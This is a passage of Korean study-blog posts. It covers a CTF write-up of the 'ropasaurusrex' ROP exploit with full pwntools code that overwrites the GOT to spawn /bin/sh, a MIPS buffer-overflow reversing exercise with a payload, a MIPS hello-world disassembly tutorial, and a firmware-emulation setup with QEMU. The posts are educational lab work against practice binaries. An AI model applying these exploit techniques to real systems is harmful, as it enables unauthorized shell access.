요건 미리 돌려보고 기준점을 삼을 함수를 하나 선정해서 offset을 계산해야해요, 전 read의 got를 기준으로 잡았고 이것으로 offset을 계산을 할거에요.



※프로그램을 실행해야 테이블이 로드되면서 주소를 알 수 있어요. 적당한 곳에 브레이크 포인트를 잡고 실행 한 후 찾아주세요.


빨간 네모친 부분에 read / system 함수의 got주소가 있죠? offset은 0xf7ec4c60(read) - 0xf7e28b40(system) = 0x9c120 이 되겠네요!

마지막으로 system함수의 인자로 필요한 "/bin/sh"문자열을 쓰는건 RTL Chain을 이용해서 쓰도록 해야할텐데, 기본적으로 data나 bss영역에 쓴다고 하던데.. 



위에 그림은 objdump - x ./ropasaurusrex  로 섹션정보를 출력한거에요.


첫 번째로 나오는 놈이 사이즈인데 23. data섹션과 24. bss섹션은 8바이트밖에 안되져 ㅠㅠ 너무작아서 쓰기 힘들 것 같습니다. 

20. dynamic 섹션은 다이나믹 링킹과정에 필요한 섹션이라고 하는데.. 여기서는 건드려도 무방하다고만 알고있어요... elf구조는 아직 뜯어보지 못하여서 잘모르겠습니다.


어쨌든! dynamic 섹션에 쓰면 될 거 같고, 요 섹션의 주소 또한 pwntools에서 쉽게 얻어낼 수 있습니다.


그럼 이제 어떻게 익스플로잇을 하는 지 코드를 한번 볼까요?


4. exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
proc = process('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')
= ELF('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')
 
binsh = "/bin/sh"
 
#puzzle pieces
log.info("found address of .dynamic section : %s" % hex(e.get_section_by_name(".dynamic").header.sh_addr))
ds_section = e.get_section_by_name(".dynamic").header.sh_addr
 
log.info("found address of read plt : %s" % hex(e.plt["read"]))
read_plt = e.plt["read"]
 
log.info("found address of read got : %s" % hex(e.got["read"]))
read_got = e.got["read"]
 
log.info("found address of write plt : %s" % hex(e.plt["write"]))
write_plt = e.plt["write"]
 
log.info("found address of write got : %s" % hex(e.got["write"]))
write_got = e.got["write"]
 
#real address of read func - real address of system func
offset = 0x9c120
 
#080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x080484b6
 
#payload
#step 1. writing /bin/sh in .dynamic section
payload  = "\x90"*140
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(ds_section)
payload += p32(len(binsh))
 
#step 2. reading address of read`s got
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)   #stdout
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#step 3. overwrite read got to system func
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#step 4. call system function
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(ds_section)
 
proc.send(payload + "\n")
proc.send(binsh)
 
read_address = proc.recv(4)
system_address = u32(read_address) - offset
 
log.info("read address   = %x" % u32(read_address))
log.info("system address = %x" % system_address)
 
proc.send(p32(system_address))
 
log.info("Exploit is Success!!")
proc.interactive()



항상 그래왔듯이 결과부터 보자구여!

proc = process('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')

이 줄은 바이너리를 실행 해서 프로세스를 생성하는 줄이에요


= ELF('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')

해당 파일을 elf format으로 읽어주는 줄이고,


#puzzle pieces
log.info("found address of .dynamic section : %s" % hex(e.get_section_by_name(".dynamic").header.sh_addr))
ds_section = e.get_section_by_name(".dynamic").header.sh_addr
 
log.info("found address of read plt : %s" % hex(e.plt["read"]))
read_plt = e.plt["read"]
 
log.info("found address of read got : %s" % hex(e.got["read"]))
read_got = e.got["read"]
 
log.info("found address of write plt : %s" % hex(e.plt["write"]))
write_plt = e.plt["write"]
 
log.info("found address of write got : %s" % hex(e.got["write"]))
write_got = e.got["write"]


이 부분에서 pwntools의 파워풀함을 알 수 있죠, 위처럼 elf로 파일을 읽으면 각 섹션주소와 plt와 got의 주소를 한방에 알아낼 수 있습니다.

그 아래에서는 우리가 찾아낸 offset과 가젯의 주소를 선언해 주었습니다.


페이로드가 만들어지는 부분을 살펴볼까요?


#step 1. writing /bin/sh in .dynamic section
payload  = "\x90"*140
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(ds_section)
payload += p32(len(binsh))


스텝 1에서는 read 함수를 이용해서 "/bin/sh"문자열을 .dynamic section에 써주는 부분이에요, 먼저 BOF를 내기위해 더미 140바이트(buf size(0x88, 136) + sfp(4))를 써주었고,

리턴 주소를 read의 plt로 덮어주어서 read함수를 호출했어요, 그리고 인자정리를 위한 pppr을 넣어주고 "/bin/sh"를 입력해주기 위해 stdin의 fd인 0을 넣어주었습니다.

그리고 ds_section의 주소를 넣어주고, "/bin/sh"문자열의 length를 넣어주었죠


#step 2. reading address of read`s got

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)   #stdout
payload += p32(read_got)
payload += p32(len(str(read_got)))


스텝 2에서는 같은 형식으로 표준 출력으로 read의 got주소를 출력해주게 했어요 프로그램 실행당시의 주소를 알아야하기때문에 이렇게 알아낸거죠 


※위처럼 표준 입출력을 통해 프로세스와 인터렉션하는 부분은 아래에 나와요, 페이로드에서는 인터렉션을 하기 위한 구조(?)를 만든다고 생각하시면 됩니다.


#step 3. overwrite read got to system func
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(read_got)
payload += p32(len(str(read_got)))


스텝 3에서는 스텝 2에서 알아낸 read함수의 got주소를 가지고 offset으로 계산한 후 전달한 system함수의 got주소를 read함수의 got에 덮어쓰는 부분이에요, 덮어 쓴다음에 read함수를 호출하면 system함수가 호출되게 하기 위해서에요


#step 4. call system function
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(ds_section)


스텝 4에서는 read함수를 호출하는데, 인자로 ds_section의 주소 즉, "/bin/sh"를 전달해요, 인자 전달전에 중간에 더미로 0xaaaabbbb를 전달해서 구조를 맞춰 줍니다.



5. 결과


이제야 ROP가 뭔지 개념정도는 알게 된거 같네요, 익숙해지도록 다른 문제들도 열심히 풀어봐야겠습니다!

'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab4 / return to library  (0) 2017.11.29
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01
pwnable.kr passcode  (4) 2017.07.31
PEDA / pwnable.kr bof문제  (0) 2017.07.12
  1. nop 2019.05.07 17:58

    read나 write는 안그러는데 왜 system() 만 offset으로 접근하나요?

원래 이번 포스팅 계획은 if분기문만 다뤄보려구했지만 욕심이 조금 생겨서 내친김에 BOF까지 도전해봤습니다.

pwnable.kr의 Toddler`s bottle bof문제 소스 그대로 사용했습니다. 다만 mips에서 컴파일하고 분석했을뿐!

분석하면서 크게 어려움을 겪어던 점은 없었으니, 보시는 분들도 수월하리라 생각합니다.

한가지 다른점이 있다면 x86에서는 리틀엔디안이였지만, mips에서는 빅엔디안이라는 사실이구요,


자세한 곳은 이곳을 참조하시기 바랍니다.

[참조] http://javawoo.tistory.com/27


1. C 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
 
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);
 
        if(key == 0xcafebabe){
                printf("Overflow Success!\n");
        }
        else{
                printf("Nah.. Overflow Fail :(\n");
        }
}
 
 
int main(int argc, char *argv[]){
 
        func(0xdeadbeef);
 
        return 0;
}



우선, 이 포스팅은 mips에 대한 내용을 기록하기 위함이며 해당 문제에 대한 풀이는 전에 포스팅한 적이 있으므로

BOF에 대해서는 자세히 풀이하지 않겠습니다. BOF에 대한 것을 알고 싶으시다면 아래 링크를 참조해주세요.


http://bachs.tistory.com/entry/PEDA-pwnablekr-bof%EB%AC%B8%EC%A0%9C


음,, 우선 소스는 별 것이 없습니다.

main함수에서 func라는 함수에 0xdeadbeef 값을 input으로 넣어주는데, 이 값을 func내에서

0xcafebabe라는 값과 비교한 후, BOF가 성공했는 지 실패했는 지 보여주는 코드입니다.


func함수 내부에 존재하는 oveflowme[32] 변수를 이용하여 BOF하면 될 것 같아요.


2. Disassemble Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Dump of assembler code for function main:
   0x0040072c <+0>:  addiu sp,sp,-32
   0x00400730 <+4>:  sw ra,28(sp)
   0x00400734 <+8>:  sw s8,24(sp)
   0x00400738 <+12>: move  s8,sp
   0x0040073c <+16>: sw a0,32(s8)
   0x00400740 <+20>: sw a1,36(s8)
   0x00400744 <+24>: lui   v0,0xdead
   0x00400748 <+28>: ori   a0,v0,0xbeef
   0x0040074c <+32>: jal   0x4006a0 <func>
   0x00400750 <+36>: move  at,at
   0x00400754 <+40>: move  v0,zero
   0x00400758 <+44>: move  sp,s8
   0x0040075c <+48>: lw ra,28(sp)
   0x00400760 <+52>: lw s8,24(sp)
   0x00400764 <+56>: addiu sp,sp,32
   0x00400768 <+60>: jr ra
   0x0040076c <+64>: move  at,at
End of assembler dump.



한번에 보려면 빡세니까 크게크게 main을 먼저 살펴보고, 실제 오버플로우를 발생시킬 func함수를 살펴봅시다.


2-1. main함수

위의 다섯 번째 줄까지는 지난 포스팅에서 살펴봤듯이 함수 프레임을 준비하는 작업을 하고 있습니다.

스택의 크기를 늘려주고, 현재 프레임 포인터를 백업하고 현재 프레임포인터 값을 스택포인터값으로 바꿔주는 작업이지요


a0 부터 a3까지의 레지스터들은 서브루틴 콜의 파라미터로 사용하기 위한 레지스터였습니다.

현재 까지는 a0 ~ a3레지스터에 접근 한 적이 없으니, 현재는 main의 파라미터들인 argc와 argv가 셋팅이 되어 있을 것으로 생각이 됩니다.



짜잔 하고 직접 찍어보니 욥! 예상대로 argc와 argv가 셋팅이 되어있네요,


lui는 지난 포스팅에서 소개했던 대로 타겟 레지스터의 상위 2바이트에 값을 넣는다고 했습니다.

lui v0, 0xdead 

=> v0 = 0xdead0000 의 상태가 될꺼에요


ori는 처음보니까 한번 찾아볼까요?

ori(OR Immediate) 타겟 레지스터에 OR연산을 해서 값을 넣어주는 명령어네요, 

a0 = v0 | 0x0000beef 

=> a0 = 0xdead0000 OR 0x0000beef 

=> a0 = 0xdeadbeef

이렇게 해서 a0에 func함수의 인자인 0xdeadbeef의 값이 저장된 것을 알 수 있습니다.

그 이후 func 함수를 호출하고 스택프레임 해제 후 프로그램이 종료되고 있습니다.


2-2. func 함수

이제 실제로 우리가 살펴봐야할 overflow를 내야하는 func함수를 본격적으로 살펴보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Dump of assembler code for function func:
   0x004006a0 <+0>:   addiu sp,sp,-64
   0x004006a4 <+4>:   sw ra,60(sp)
   0x004006a8 <+8>:   sw s8,56(sp)
   0x004006ac <+12>:  move  s8,sp
   0x004006b0 <+16>:  sw a0,64(s8)
   0x004006b4 <+20>:  lui   v0,0x40
   0x004006b8 <+24>:  addiu v0,v0,2304
   0x004006bc <+28>:  move  a0,v0
   0x004006c0 <+32>:  jal   0x400540 <printf@plt>
   0x004006c4 <+36>:  move  at,at
   0x004006c8 <+40>:  addiu v0,s8,24
   0x004006cc <+44>:  move  a0,v0
   0x004006d0 <+48>:  jal   0x400550 <gets@plt>
   0x004006d4 <+52>:  move  at,at
   0x004006d8 <+56>:  lw v1,64(s8)
   0x004006dc <+60>:  lui   v0,0xcafe
   0x004006e0 <+64>:  ori   v0,v0,0xbabe
   0x004006e4 <+68>:  bne   v1,v0,0x400704 <func+100>
   0x004006e8 <+72>:  move  at,at
   0x004006ec <+76>:  lui   v0,0x40
   0x004006f0 <+80>:  addiu a0,v0,2320
   0x004006f4 <+84>:  jal   0x400560 <puts@plt>
   0x004006f8 <+88>:  move  at,at
   0x004006fc <+92>:  j  0x400714 <func+116>
   0x00400700 <+96>:  move  at,at
   0x00400704 <+100>: lui   v0,0x40
   0x00400708 <+104>:   addiu a0,v0,2340
   0x0040070c <+108>:   jal   0x400560 <puts@plt>
   0x00400710 <+112>:   move  at,at
   0x00400714 <+116>:   move  sp,s8
   0x00400718 <+120>:   lw ra,60(sp)
   0x0040071c <+124>:   lw s8,56(sp)
   0x00400720 <+128>:   addiu sp,sp,64
   0x00400724 <+132>:   jr ra
   0x00400728 <+136>:   move  at,at
End of assembler dump.



중점적으로 봐야할 곳은 overflowme변수가 스택에서 어디에 위치하고 있는지?
그리고 함수의 input인 0xdeadbeef는 어디에 위치하고 있는지?
그래서 두 값간의 주소 차가 얼마나 나는지? 를 파악해야 오버플로우를 내면서 분기를 조작할 수 있을 거에요.

앞서 여러 번 살펴봤던 스택프레임을 구성하는 부분은 생략하고, 빠르게 살펴보겠습니다.
우선 overflowme변수의 위치부터 확인해보겠습니다.

C소스에서 gets함수를 통해 overflowme변수에 값을 넣었다는 것 기억나시나요?
mips에서는 함수 파라미터를 정해주기 위해 a0 ~ a3까지 사용했고, gets함수는 overflowme 변수 하나만을 파라미터로 받았으니
gets함수 콜 전에 a0에 어떤 값이 셋팅되고 있는 지를 살펴보면 overflowme를 추적해볼 수 있습니다.

12번 째 라인을 보면, 
addiu v0, s8, 24 
=> v0 = s8+24 
=> v0 = 베이스 포인터 + 24 한 곳의 값을 저장

13번 째 라인에서는 
move a0, v0
=> a0 = v0

14번 째 라인에서 gets를 호출하고 있습니다.

12 ~ 14라인 까지 살펴 본 결과 overflowme변수는 s8+24에 있는 것으로 보입니다. 직접 확인을 해보면!
 


저는 input 값을 AAAAA로 넣어주고 실행을 하였고, 결과적으로 제대로 분석했음을 알 수 있습니다.


gets함수 실행 후 16라인부터 다시 봅시다요

lw v1, 64(s8)

=> v1 = s8+64

=> v1에 s8+64값을 저장한 후


main에서 0xdeadbeef를 저장했던 똑같은 패턴으로 v0에 0xcafebabe를 저장했습니다.

그리고


19번째 라인에서

bne v1, v0, 0x400704


bne(branch on not equal) : 값을 비교해서 두 값이 같지 않으면 해당 주소로 점프를 뛰라는 명령어 입니다.

오호, 그럼 C소스에서 if( key == 0xcafebabe ) 이 분기를 뜻하는 것이겠네요.

그렇다면 분석한 정황상 s8+64에 함수의 input인 0xdeadbeef가 있다는 뜻??


정답! 그럼 이제 풀어낼 수 있을 것같아요.

overflowme와 함수 input과의 거리는 40만큼 나고 있기 때문에 40개의 dummy + 0xcafebabe를 넣어주면 뙇 하고 풀리겠네요.



3. exploit

사실 (python -c 'print "\x90"*40+"\xca\xfe\xba\xbe"') | ./bof 라고만 해도 풀리지만, pwntools모듈을 리마인드 하기위해서

pwntools로 풀어봤습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= ssh(host='192.168.234.138', user='root', password='root', port=22)
= s.run('./prac/bof/bof')
data = p.recvuntil('overflow me : ')
print data 
 
payload = '\x90'*40 + '\xca\xfe\xba\xbe'
 
p.sendline(payload)
data = p.recvline()
 
print data 



어려운 코드는 없으시지요?

ssh 커넥션을 맺은 후 bof파일을 실행해 프로세스를 생성해서

overflowme : 라는 응답을 받으면


우리가 분석해서 만들어 낸 페이로드를 날려주면 끝입니다.

맨 처음 앞서 말씀 드렸다 시피 mips는 빅엔디안이기 때문에, \xbe\xba\xfe\xca의 형태가 아니라

\xca\xfe\xba\xbe로 우리가 보는 대로 값을 넣어주었습니다.


실행 결과는 위 사진처럼 아주 깔끔하게 해결되었습니다!


다음 포스팅은 반복문과 관련해서 하도록 하고.. 추후에 실제 프로그램들을 뜯어볼 지, 어떻게 할지는 정해봐야겠습니다. 



'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-2(if, bof)  (0) 2017.09.14
MIPS 리버싱 기초-1(hello world)  (2) 2017.09.13
firmware 분석 환경 구축하기  (10) 2017.09.06

이번 포스팅에서는 가장 기본인 hello world 프로그램을 MIPS아키텍쳐에서 리버싱을 해본 것을 다루어보도록하겠습니다.

추후 분기문, 반복문 등 기본적인 구문에 대해서 하나씩 추가해 볼 생각입니다.


MIPS에서 사용하는 레지스터에 대한 설명과 기본적인 명령어에 대한 설명은 아래 이곳을 참조하였습니다.

[참조] http://logos.cs.uic.edu/366/notes/mips%20quick%20tutorial.htm


1. C소스

몇 줄안되지만 리버싱해볼 프로그램을 먼저 살펴보겠습니다.


1
2
3
4
5
6
7
8
9
10
11
//hello.c
#include <stdio.h>
 
int main(int argc, char *argv[]){
 
    printf("argc    = %d\n", argc);
    printf("argv[0] = %s\n", argv[0]);
    printf("argv[1] = %s\n", argv[1]);
 
    return 0;
}




메인함수에서 argc와 argv들을 출력해는 프로그램입니다.

./hello hi

[출력예시]

argc        = 2

argv[0]     = /root/hello

argv[1]     = hi


2. Disassemble Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
   0x00400640 <+0>:      addiu    sp,sp,-32
   0x00400644 <+4>:      sw     ra,28(sp)
   0x00400648 <+8>:      sw     s8,24(sp)
   0x0040064c <+12>:     move     s8,sp
   0x00400650 <+16>:     sw     a0,32(s8)
   0x00400654 <+20>:     sw     a1,36(s8)
   0x00400658 <+24>:     lui     v0,0x40
   0x0040065c <+28>:     addiu    v0,v0,2144
   0x00400660 <+32>:     move     a0,v0
   0x00400664 <+36>:     lw     a1,32(s8)
   0x00400668 <+40>:     jal     0x400500 <printf@plt>
   0x0040066c <+44>:     move     at,at
   0x00400670 <+48>:     lui     v0,0x40
   0x00400674 <+52>:     addiu    v1,v0,2160
   0x00400678 <+56>:     lw     v0,36(s8)
   0x0040067c <+60>:     lw     v0,0(v0)
   0x00400680 <+64>:     move     a0,v1
   0x00400684 <+68>:     move     a1,v0
   0x00400688 <+72>:     jal     0x400500 <printf@plt>
   0x0040068c <+76>:     move     at,at
   0x00400690 <+80>:     lui     v0,0x40
   0x00400694 <+84>:     addiu    v1,v0,2176
   0x00400698 <+88>:     lw     v0,36(s8)
   0x0040069c <+92>:     addiu    v0,v0,4
   0x004006a0 <+96>:     lw     v0,0(v0)
   0x004006a4 <+100>:    move     a0,v1
   0x004006a8 <+104>:    move     a1,v0
   0x004006ac <+108>:    jal     0x400500 <printf@plt>
   0x004006b0 <+112>:    move     at,at
   0x004006b4 <+116>:    move     v0,zero
   0x004006b8 <+120>:    move     sp,s8
   0x004006bc <+124>:    lw     ra,28(sp)
   0x004006c0 <+128>:    lw     s8,24(sp)
   0x004006c4 <+132>:    addiu    sp,sp,32
   0x004006c8 <+136>:    jr     ra
   0x004006cc <+140>:    move     at,at




gdb에서 확인한 Disassemble Code 전체 입니다. 부분부분 잘라서 확인해봅시다.


1
2
3
4
   0x00400640 <+0>:        addiu   sp,sp,-32
   0x00400644 <+4>:        sw      ra,28(sp)
   0x00400648 <+8>:        sw      s8,24(sp)
   0x0040064c <+12>:     move    s8,sp



첫 번째 라인을 보면 addiu sp,sp,-32 가 되어있습니다. addiu가 어떤놈인지 한번 볼까요?

addiu (add immediate unsigned) , 오버플로우 무시
[예시] addiu $s1, $s2, 100 => $s1 = $s2 + 100

위와 같이 addiu는 첫 번째 레지스터에 두 번째 레지스터와 세 번째 상수 값을 더하여 저장하는 명령어입니다.
따라서 addiu sp,sp,-32 는 sp = sp -32 정도로 표현해 볼 수 있겠네요.


sp는 느낌적인 느낌으로 stack pointer라는 것을 알 수 있죠?
따라서 이 한 줄에 의미는 스택의 크기를 32바이트만큼 증가 시키는, x86의 구문과 대비하면
sub esp, 0x20 와 같은 역할을 하는 놈이 될꺼에요.


두 번째 라인은 sw ra, 28(sp) 입니다. 너무 생소하기 때문에 하나씩 또 잘라서 봅시다.

sw (Store Word)

레지스터의 값을 메모리에 Word사이즈만큼(4byte) 저장하는 명령어 입니다.

여기서 주의 깊게 보아야할 부분은 

sw source_register, destination_memory 로 표현된다는 점이에요.


ra (Return Address)

말그대로 리턴 주소를 가지고 있는 레지스터입니다.


28(sp)

이런 표현은 sp + 28을 뜻합니다. +28을 스택포인터의 오프셋으로 사용해서 스택에 접근하겠다는 뜻이지요


그래서 종합적으로 두 번째 라인은 어떻게 해석되느냐!

현재 리턴 주소를 sp+28에 저장해라 ~ 라는 뜻이 되겠습니다.


세 번째 라인은 sw s8, 24(sp) 입니다.

두 번째 라인과 비슷한 형태로 저장할 값만 바뀌었네요, s8를 sp+24에 저장해라! 가 되겠죠?

s8은 mips에서 프레임 포인터 레지스터입니다. x86에서 ebp와 같다고 생각하시면 될거 같네요.


네 번째 라인은 move s8, sp에요! move는 말그대로 값을 이동시키는 명령어 이고 x86에서 mov와 같습니다.

그러니까 s8 = sp가 되겠죠?


그럼 종합적으로 위의 네 라인이 무슨 일을 했는지 봅시다!

스택의 크기를 증가 시켰고, 현재 리턴어드레스와 프레임 포인터를 메모리에 저장했습니다.

그리고 프레임포인터에 스택포인터 값을 넣어주었죠.


네, 맞습니다. 스택프레임을 구성하는 구문이지요? 익숙한 x86으로 보면

push ebp

mov ebp, esp

sub esp, 0x20

함수 시작과 동시에 이루어지는 이 것과 비슷하게 움직이고 있습니다.



이제 두 번째 부분을 볼까요?

1
2
3
4
5
6
7
   0x00400650 <+16>:    sw     a0,32(s8)
   0x00400654 <+20>:    sw     a1,36(s8)
   0x00400658 <+24>:    lui    v0,0x40
   0x0040065c <+28>:    addiu  v0,v0,2144
   0x00400660 <+32>:    move   a0,v0
   0x00400664 <+36>:    lw     a1,32(s8)
   0x00400668 <+40>:    jal    0x400500 <printf@plt>



여기서 새롭게 보이는 명령어는 lui, lw, jal 정도가 있네요? 나머지는 위에 본 것들라 수월할거에요

두 번째 부분 첫 째 라인은 sw a0, 32(s8) 입니다.

a0 ~ a3 레지스터는 서브 루틴을 호출 할 때 파라미터들을 저장하는 레지스터입니다.

그럼 자연스레, main함수의 파라미터들이 a0~a3에 위치하고 있다고 생각해볼 수 있겠네요,


여기서는 s8+32에 a0의 값을 저장하고 있네요, s8은 아까 위에서 ebp랑 같은 프레임 포인터라고 했죠?

직접 a0에 어떤 값이 들어 있는 지 한번 찍어보도록 합시다.

레지스터의 용도에 따르면 a0에는 메인함수의 첫 번째 파라미터인 argc가 들어 있어야할 거에요.


브레이크 포인트를 걸고 나서  hi라는 argument를 주고 실행을 한 후 값을 찍어보니까!


0x2가 나왔어요. 파라미터를 하나 주고(./hello hi) 실행 했으니까, argc가 2일테고... 오호, 그럼 a0에 argc(0x2)가 들어있는게 맞고, 

이 값을 스택에 저장해 주겠다는 뜻이 되겠네요.


같은 방식으로 a1의 값을 확인하면

argv[0]의 포인터가 들어있는 것을 알 수 있습니당


음? 그럼 a2에는 프로그램 실행 환경변수의 포인터 값이 들어 있어야 겠죠? 

확인해보니까 맞네요 ㅎ;;



여하튼! 다시 본론으로 돌아오면, 두 번째 라인에서는 s8+36에(스택에) argv[] 포인터 값을 넣어주었어요,,


세 번째 라인은 lui v0, 0x40 으로 lui연산을 하고 있습니다. lui연산은 해당 레지스터의 상위 두바이트에 값을 로드하는 명령어인데요,

따라서 v0 = 0x00400000 와 같이 표현해 볼 수 있겠습니다.


네 번째 라인에서는 addiu v0, 2144 이고,

v0 = v0+2144 니까

v0 = 0x00400000 + 2144

v0 = 0x400860 이 되겠습니다.


다섯 번째 라인에서는 move a0, v0

a0 = v0 이고, 네 번째 라인에서 연산한 결과를 a0에 넣어주고있어요, 0x400860에는 어떤 값이 들어 있는 것일까요?


오, 프로그램에서 처음으로 호출 하는 printf의 첫 번째 파라미터가 들어 있었네요,

위에서 a0~a3은 서브루틴에서 함수호출을 하기전 파라미터가 셋팅되는 레지스터라고 했었죠?

이제 printf를 호출 할 준비를 하나보네요.


여섯 번째 라인!

lw a1, 32(s8) 은 Load Word 명령어로 레지스터를 Destination으로 메모리에서 값을 로드해오는 명령어 입니다.

따라서, a1 = s8+32 가 될거고, s8+32에는 첫 번째 라인에서 값을 넣어준 argc가 들어 있을 거에요.


두 번째 부분의 마지막라인인 일곱 번째 라인은

jal 0x400500 <printf@plt> 네요, jal은 옆에 <printf@plt>라고 써있는 걸 보고 눈치 채셨겠지만,

x86에서 call과 비슷한 명령어 입니다. Jump and Link이고, 동작은 해당 함수 주소로 Jump! 하고 다음 명령어 주소를

ra레지스터에 셋팅해줘서 Link하는 명령어 입니다.


printf를 호출 하는데 첫 번째 파라미터에는 a0의 값 "argc     = %d\n"

두 번째 파라미터에는 a1의 값 0x2를 가지고 호출을 하게 되겠지요!


두 번째 이하 부분도 비슷한 형식으로 printf를 호출 하고 있기에 설명은 생략하겠습니다.


혹시 포스팅 중 부족한 부분이나, 틀린 부분은 피드백 주시면 감사하겠습니다. 질문도 좋아요~ :)



'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-2(if, bof)  (0) 2017.09.14
MIPS 리버싱 기초-1(hello world)  (2) 2017.09.13
firmware 분석 환경 구축하기  (10) 2017.09.06
  1. 해피빈이 2017.09.14 17:49 신고

    MIPS는 항상 안드로이드에서 빌드는 하지만 실체가 궁금했는데.. IoT에 있다니..ㅎㅎ 덕분에 알고가오!
    유용한 블로그니 이런곳은 즐겨찾기에! >_<ㅋㅋ

이번 포스팅에서는 firmware분석 환경 구축에 대하여 다루어보도록 하겠습니다!

이 포스팅의 예제로는 iptime 8.76버전의 mips아키텍쳐 firmware를 가지고 진행하였으며, 운영체제는 칼리리눅스에서 진행하였습니다.


firmware를 분석 환경을 구축하기 위해서는 크게 firmware mod kit, qemu 이 두 가지 툴이 필요합니다.


1. firmware mod kit(fmk)

https://bitsum.com/firmware_mod_kit.htm


This kit gives the user the ability to make changes to a firmware image without recompiling the firmware sources. It works by extracting the firmware into its component parts, then extracting the file system image (assuming its in one the supported formats). The user can then make modifications to the extracted file system, and rebuild the firmware image.


번역 : 이 키트는 사용자가 펌웨어 소스를 다시 컴파일하지 않고 펌웨어 이미지를 변경할 수있는 기능을 제공합니다. 펌웨어를 구성 요소로 추출한 다음 파일 시스템 이미지를 추출합니다 (지원되는 형식으로 가정). 그런 다음 추출 된 파일 시스템을 수정하고 펌웨어 이미지를 다시 작성할 수 있습니다.


위 글은 fmk의 공식 페이지의 description의 일부분을 가져온 것 입니다. 설명되어있는대로 fmk는 펌웨어에서 시스템 이미지를 추출할 수 있습니다.


.bin 형태의 펌웨어 바이너리 파일을 fmk를 통해 시스템 이미지와 파일들을 추출해올 수 있습니다.


1.1 필요 패키지 설치

fmk설치에 앞서 fmk를 사용하기 위해 선행으로 설치해야하는 패키지들이 있습니다.


1
apt-get install zlib1g-dev build-essential liblzma-dev python-magic



zlib1g-dev와 liblzma-dev는 압축관련 패키지이고, python-magic은 파일포맷을 확인하기 위한 패키지, 패키지 작성을 위한 것이라고 하네요!


1.2 fmk clone

이 패키지들을 설치한 후 git에서 fmk를 clone해옵니다.

1
git clone https://github.com/rampageX/firmware-mod-kit.git



1.1에서 선행 패키지들을 이상없이 설치 하였다면 git에서 fmk를 받아 온 후 따로 make / make install 같은 과정 필요 없이 
바로 사용할 수 있는 상태입니다.


여러 쉘이 있으나, firmware에서 이미지를 추출하기 위해서는 extract-firmware.sh를 사용합니다.


1.3 extract-firmware.sh

extract하는 방법은 아래와 같습니다.

1
extract-firmware.sh target_firmware.bin



실행 후에는 실행한 디렉터리에 extract의 결과물인 fmk라는 디렉터리가 생성됩니다.


fmk내부에는 세 개의 디렉터리가 존재하는데

image_parts는 extract한 시스템 이미지들이 존재하고

logs에는 로그들이,

rootfs에는 시스템 파일들이 존재합니다.


얘네들을 가상머신으로 전송해서 구동시켜야합니다.


2. qemu

QEMU는 가상화 소프트웨어 가운데 하나다. Fabrice Bellard가 만들었으며 x86 이외의 기종을 위해 만들어진 소프트웨어 스택 전체를 가상머신 위에서 실행할 수 있다는 특징이 있다. 동적 변환기(Portable dynamic translation)를 사용한다.


[출처] 위키백과 : https://ko.wikipedia.org/wiki/QEMU


firmware를 직접 구동해보기 위해서 필요한 에뮬레이터(?)라고 생각하시면 될 것 같습니다.

IOT의 firmware가 실행 되는 아키텍쳐는 대부분 arm / mips 이기 때문에 추출만 한다고해서 바이너리들을 분석 pc에서 실행 해 볼 수 없습니다.

따라서 가상의 arm / mips 머신을 생성하여 firmware를 구동 시켜야합니다. 이때 가상의 arm / mips 머신 생성 및 구동을 도와주는 것이 QEMU입니다.


2.1 qemu 패키지 설치



apt-get install qemu



apt-get으로 qemu 패키지를 설치합니다.


2.2 해당 아키텍쳐 필요 파일 다운로드

https://people.debian.org/~aurel32/qemu/ 로 최초 접속하면 아래와 같은 사이트를 만날 수 있습니다.

사이트에 리스팅된 목록을 보시면 짐작 가능하시겠지만 arm, mips등 아키텍쳐 별로 나열되어있습니다. 저는 mips용 firmware를 실행하기 위해

mips를 클릭하여 들어갔습니다. 




여러 개의 파일이 있는데, 각 파일이 어떤 용도인지는 잘모르겠습니다ㅠ 아시는 분이 있으면 좀 알려주세요 ㅠㅠ

다만, 여러 서치 결과 qcow2확장자 파일 중에는 wheezy를 받은 경우가 대부분이라, 저도 wheezy를 받아서 사용하였습니다.


그래서 결과적으로 어떤 파일을 다운 받아야하느냐면!

아래로 조금 내리면 가상머신을 구동하기위한 샘플 명령이 있습니다. 거기에 맞춰 파일을 다운 받으시면 되는데요,


빨간 네모로 강조가 된 쟤들이에요!


vmlinux-3.2.0-4-4kc-malta와 debian_wheezy_mips_standard.qcow2 이 파일입니다.


